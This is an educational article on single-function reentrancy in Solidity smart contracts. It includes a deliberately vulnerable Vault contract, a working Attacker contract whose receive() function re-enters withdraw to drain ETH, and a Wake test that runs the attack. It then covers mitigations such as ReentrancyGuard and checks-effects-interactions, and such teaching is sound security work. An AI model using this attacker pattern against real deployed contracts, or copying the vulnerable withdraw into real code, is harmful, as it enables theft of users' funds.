What is a reentrancy attack?

A reentrancy attack is very specific to smart contracts due to the nature of external calls. When a contract interacts with another contract through an external call, such as during a token transfer, the recipient contract can execute arbitrary code in response. This execution can lead to unexpected behaviors that the original contract programmer may not have anticipated.

In a reentrancy attack, the recipient contract exploits the external call by recursively calling the function before the first invocation completes. This behaviors differs from simply calling the function once and can lead to security breaches. From the developer’s perspective, it is challenging to predict and imagine how such an execution might occur, making it difficult to prevent. There are many possible scenarios where reentrancy can be exploited. This document will provide a simple example of a reentrancy attack and how to prevent it.

Analysis of a single function reentrancy attack

This is the source code of a simple vault contract that allows users to deposit and withdraw funds. The withdraw function is vulnerable to a reentrancy attack.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

contract Vault {
    mapping(address => uint256) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint256 amount = balances[msg.sender];
        msg.sender.call{value: amount}("");
        balances[msg.sender] = 0 ;
    }
}

There is an external call to the msg.sender in the withdraw function. This is the point where the reentrancy attack can occur. The attacker can call the withdraw function multiple times before the first invocation completes, leading to unexpected behaviors.

Let’s analyze the code execution of the withdraw function. The problem with this function is that it updates the value after an external call. Below is how the withdraw function works:

uint256 amount = balances[msg.sender];
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether");
balances[msg.sender] = 0;

So, we can say that calling the withdraw function is equivalent to calling two functions:

  • calculate the amount and send ETH.
  • set the balance to 0.

The requirement is that after the first function is completed, we can execute some other but eventually the second function must be executed.

From the above analysis, we can understand the concept of reentrancy, which involves calling the function again within the user’s external function.

Let’s consider the following scenario: This is allowed because the execution satisfies the above requirement. But something went wrong.

uint256 amount = balances[msg.sender];
(bool success,) = msg.sender.call{value: amount}("");
   {
    // This block of executed as reentrant
    uint256 amount = balances[msg.sender];
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Failed to send Ether");
    balances[msg.sender] = 0;
    }
require(success, "Failed to send Ether");
balances[msg.sender] = 0;

The result of this execution is that the user received twice the amount of ETH they held in this contract as a balance. However, the execution was still successful. Similarly, we can do 10 times or 100 times. The user can receive 100 times the amount of ETH they held in this contract as a balance.

Attack example

This is an example of an attacker contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface Vault {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    Vault vault;
    uint256 amount = 1 ether;

    uint256 count = 0;

    constructor(Vault _vault) payable {
        vault = Vault(_vault);
    }

    /**
     * @notice trigger withdraw
     */
    function attack() public {
        vault.deposit{value: address(this).balance}();
        if (address(vault).balance >= amount) {
            vault.withdraw();
        }
    }

    /**
     * @notice withdraw call call repeatly but they did not update value = balance[msg.sender].
     * so this function obtain value of ether repeatly.
     */
    receive() external payable {
        if (count< 5) {
            count++;
            vault.withdraw();
        }
    }
}

 

This is the test file of Wake.

from wake.testing import *

from pytypes.contracts.singlefunctionreentrancy.vault import Vault
from pytypes.contracts.singlefunctionreentrancy.attacker import Attacker

@default_chain.connect()
def test_default():
    print("---------------------Single Function Reentrancy---------------------")
    victim = default_chain.accounts[0]
    attacker = default_chain.accounts[1]
    
    vault = Vault.deploy(from_=victim)

    vault.deposit(from_=victim, value="10 ether")
    attacker_contract = Attacker.deploy(vault.address, from_=attacker, value="1 ether")

    print("Vault balance   : ", vault.balance)
    print("Attacker balance: ", attacker_contract.balance)

    print("----------Attack----------")
    tx = attacker_contract.attack(from_=attacker)
    print(tx.call_trace)

    print("Vault balance   : ", vault.balance)
    print("Attacker balance: ", attacker_contract.balance)

 

We deploy a vault and store 10 ether and deploy an attacker contract with 1 ETH.

by calling the attacker_contract.attack() function in Python test code, the attack function in the attacker contract is called.

In the attack function, it deposits to the vault 1 ETH and withdraws from the vault. The withdraw function calls external calls to send ether to the attacker. so the receive function in the attacker contract is called. In the receive() function, it calls the withdraw function again.

This is a call trace of the attack. The attacker contract has 1 ETH and the vault contract has 10 ETH. After 5 times of the withdraw function call recursively, the attacker contract has 6 ETH and the vault has 5 ETH.

This is a single-function reentrancy attack. Most other reentrancy attacks are based on this scenario. However, due to the complexity of the project and the function structure, it is difficult to detect.

How to prevent a reentrancy attack

There are several ways to prevent this attack. These prevention methods work for the single-function reentrancy attack but are not guaranteed to prevent all reentrancy attacks.

Here are some common methods:

ReentrancyGuard

By using ReentrancyGuard, it is impossible to reenter the contract.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard {
    mapping(address => uint256) private balances;

    function deposit() external payable nonReentrant {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        msg.sender.call{value: amount}("");
        balances[msg.sender] = 0;
    }
}

 

However, we will find out that it is not a sufficient solution for all types of reentrancies.

Checks-Effects-Interactions

The best prevention method is to complete the state changes of the function first and then call the external function. As described above, calling a function can be viewed as two separate function calls. By ensuring the second part of the function does nothing, it disables the attack.

function withdraw() public {
    uint256 amount = balances[msg.sender];
    balances[msg.sender] = 0;
    msg.sender.call{value: amount}("");
}

Conclusion

In conclusion, understanding and preventing reentrancy vulnerabilities is crucial for developing secure smart contracts. Even though there are other types of reentrancy attacks, for example, ReentrancyGuard is insufficient to completely prevent some contracts. It is important to understand the concept of reentrancy and how it can be exploited.

 

We have a Reentrancy Examples Github Repository. There are other types of reentrancy attacks and also protocol-specific reentrancies. 

We will soon release a series of research articles describing other types of reentrancy and protocol-specific reentrancy attacks with examples including prevention practices.

  • Cross function Reentrancy Attack
  • Cross contract Reentrancy Attack
  • Read only Reentrancy Attack
  • Cross chain Reentrancy Attack
  • Reentrancy Attack in ERC-721
  • Reentrancy Attack in ERC-777
  • Reentrancy Attack in ERC-1155
  • Reentrancy Attack in FlashLoan

By writing a reentrancy attack you can learn how it works and how to prevent them.